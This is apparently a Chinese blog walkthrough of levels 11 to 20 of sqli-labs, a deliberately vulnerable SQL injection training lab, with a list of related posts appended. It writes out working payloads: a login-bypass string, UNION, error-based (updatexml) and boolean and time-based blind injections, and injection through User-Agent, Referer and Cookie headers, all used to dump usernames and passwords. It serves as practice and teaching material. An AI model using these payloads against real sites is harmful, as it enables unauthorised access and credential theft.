第十一关

从第十一关开始,就开始用post来提交数据了,我们每关的目的都是获取users表下password字段的内容。

post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常常使用的用户登录模块、网站的留言板模块等,在这些功能模块中我们提交的数据都是以

我们可以用抓包软件来修改post提交的数据。

首先测试一下是字符型还是数字型,再输入的用户名和密码之间输入一个'查看是否报错



可以看到,有报错,说明是字符型注入,由于我们不知道密码,但是因为这里有sql注入我们可以用个万能密码,username输入admin' or '1'='1 --+ 之后不管我们输入什么密码都可以登录



可以看到有两个显示位,之后思路还是跟之前第一关一样,先查有几个字段



看到3报错那就输入2页面正常了。然后就是常规操作了。

爆数据库名:

uname=7admin' union select version(),database()#&passwd=123&submit=Submit



爆表名:

uname=7admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=123&submit=Submit



爆列名:

uname=7admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=123&submit=Submit



查所有用户名和密码:

uname=7admin' union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit

第十二关

这关和十一关差不多就是闭合改成了")

爆内容:

uname=7admin") union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit

第十三关

这关只有输入为真回显字母为蓝色,假为红色,也会报错,所以可以用报错和盲注。这里是用')来闭合



具体的步骤看前面第五关,这里就用报错注入。

爆密码:

&uname=admin') and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#&passwd=123&submit=Submit

第十四关

这关不会报错,可以用盲注。测试一下发现是”双引号闭合,然后又是常规套路。

爆密码:

&uname=admin" and substr((select password from users limit 0,1),1,3)='dum'#&passwd=admin&submit=Submit

第十五关

这一关直接用上一关的payload也可以(改单引号),想多掌握一点可以用时间延迟来注入

爆表名:

&uname=admin' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)#&passwd=admin&submit=Submit



爆数据:

&uname=admin' and if(substr((select password from users limit 0,1),1,3)='dum',sleep(5),1)#&passwd=admin&submit=Submit

第十六关

这一关一样,只是把闭合改为")

第十七关

这关对用户名的输入很严谨怎么变形都不行,但是对密码的输入控制的不严谨,这关查看源代码发现,不管输入什么密码都是对的,但是通过order by还是看得出又sql注入



既然怎么输入都是对的,那盲注就没用了,但是有报错这里就用报错注入,之前第五关有步骤,不再赘述。

爆数据库名:



爆表名:



到了查询数据的时候,发现不能直接查询会报错



因为在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。

爆数据:

uname=admin&passwd=7' and updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)##&submit=Submit

第十八关

这关对username和password的输入都做了严格的过滤,那怎么办呢,这关一进来就显示了我们的ip,就联想到了header头注入,修改http头的User-Agent参数,查看源码发现是insert函数写入数据库,

然后我们得知道mysql Insert语句的用法

Insert into member(username,pw,sex,phonenum,email,address)values(‘xxxxxxxx’,11111,1,2,3,4);

要构造闭合首先在我们可以输入的部分就是‘xxxx’里插入报错函数,

注意要成功登陆才能注入

报数据库:

' and updatexml(1,concat(0x7e,database()),0) and '1
' and updatexml(1,concat(0x7e,database()),1),"1","1")#

这里语句可以用and,也可以用or

' or updatexml(1,concat(0x7e,database()),0) or '1



爆列名:

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),0)and '1



爆内容:

' and updatexml(1,concat(0x7e,(select group_concat(password) from users )),0)and '1

第十九关

这关跟上关一样,就是换成了修改referer的值,一样的payload

第二十关

这关根据题目提示应该是在cookie上进行修改,看回显cookie的格式是uname=admin,所以构造payload

uname=admin' and updatexml(1,concat(0x7e,(select database())),0) #



这里有个坑,就是不能用POST方法提交数据,不然回显就很奇怪...



爆表名:

uname=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #



之后就是常规操作了。

sqli-labs通关----11~20关的更多相关文章

  1. Sqli labs系列-less-4 这关好坑!!!

    这章,可能我总结开会比较长,图比较多,因为,我在做了一半,走进了一个死胡同,脑子,一下子没想开到底为啥.... 然后我自己想了好长时间也没想开,我也不想直接就去看源码,所以就先去百度了一下,结果一下子 ...

  2. 20道C#练习题(二)11——20题

    11.一个游戏,前20关是每一关自身的分数,1-30关每一关是10分,31-40关,每一关是20分,1-49关,每一关是30分,第50关是100分,输入你现在闯到的关卡数,求你现在拥有的分数.利用if ...

  3. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  4. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  5. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  6. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  7. Monyer's Game 11~15关过关方法

    到目前为止,玩这个小游戏并过关的人数已经达到了81人,首先Monyer要感谢各位的捧场与支持.继续上次的<Monyer's Game 6~10关过关方法>,我们来看剩下几关的过关方法. 但 ...

  8. 原生JavaScript技巧大收集(11~20)-(终于又被我找到这篇文章了)

    11.原生JavaScript加入收藏夹 function AddFavorite(sURL, sTitle) { try { window.external.addFavorite(sURL, sT ...

  9. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

随机推荐

  1. 遍历集合的常见方式,排序,用lambda表示是怎样的

       Collection集合的功能:            Object[] toArray() 将集合转成数组            Iterator iterator() 通过方法的调用 获取I ...

  2. KMP 算法简单解释

    ​ 讲KMP算法,离不开BF,实际上,KMP就是BF升级版,主要流程和BF一样 ​ 不同是在匹配失败时能利用子串的特征减少回溯,利用根据子串特征生成的Next数组来减少 <( ̄︶ ̄)↗[GO!] ...

  3. JDBC(三)----JDBC控制事务

    ##  JDBC控制事务 1.事务:一个包含多个步骤的业务操作.如果这个业务员操作被事务管理,则这多个步骤要么同时成功,要么同时失败. 2.操作: 1.开启事务 2.提交事务 3.回滚事务 3.使用C ...

  4. 痞子衡嵌入式:记录i.MXRT1060驱动LCD屏显示横向渐变色有亮点问题解决全过程(提问篇)

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家分享的是i.MXRT1060上LCD横向渐变色显示出亮点问题的分析解决经验. 痞子衡前段时间在支持一个i.MXRT1060客户项目时遇到了LCD ...

  5. 服务器安装 mongodb

    参考 https://www.cnblogs.com/layezi/p/7290082.html

  6. Visdom 介绍 | 一

    用于创建,组织和共享实时丰富数据可视化的灵活工具.支持Python. 概述 概念 设置 用法 API 待办事项 贡献 概述 Visdom旨在促进(远程)数据的可视化,重点是支持科学实验. 为你自己和你 ...

  7. 零基础使用Swift学习数据科学

    概述 Swift正迅速成为数据科学中最强大.最有效的语言之一 Swift与Python非常相似,所以你会发现2种语言的转换非常平滑 我们将介绍Swift的基础知识,并学习如何使用该语言构建你的第一个数 ...

  8. 莎士比亚电路ヾ(≧▽≦*)o

    偶尔记录一件有趣的事儿! 这个电路叫做 "莎士比亚电路"[1],请自行参悟,ヾ(≧▽≦)o,ヾ(≧▽≦)o,ヾ(≧▽≦*)o ヾ(≧▽≦*)o . <穿越计算机的迷雾> ...

  9. 负载均衡器nginx和ribbon区别

    1,nginx 是服务器端的负载均衡器,所有请求发送到nginx之后,nginx通过反向代理的功能分发到不同的服务器,做负载均衡 2,ribbon是客户端的负载均衡器,他是通过将eureka注册中心上 ...

  10. Kubernets中获取客户端真实IP总结

    1. 导言 绝大多数业务场景都是需要知道客户端IP的 在k8s中运行的业务项目,如何获取到客户端真实IP? 本文总结了通行的2种方式 要答案的直接看方式一.方式二和总结 SEO 关键字 nginx i ...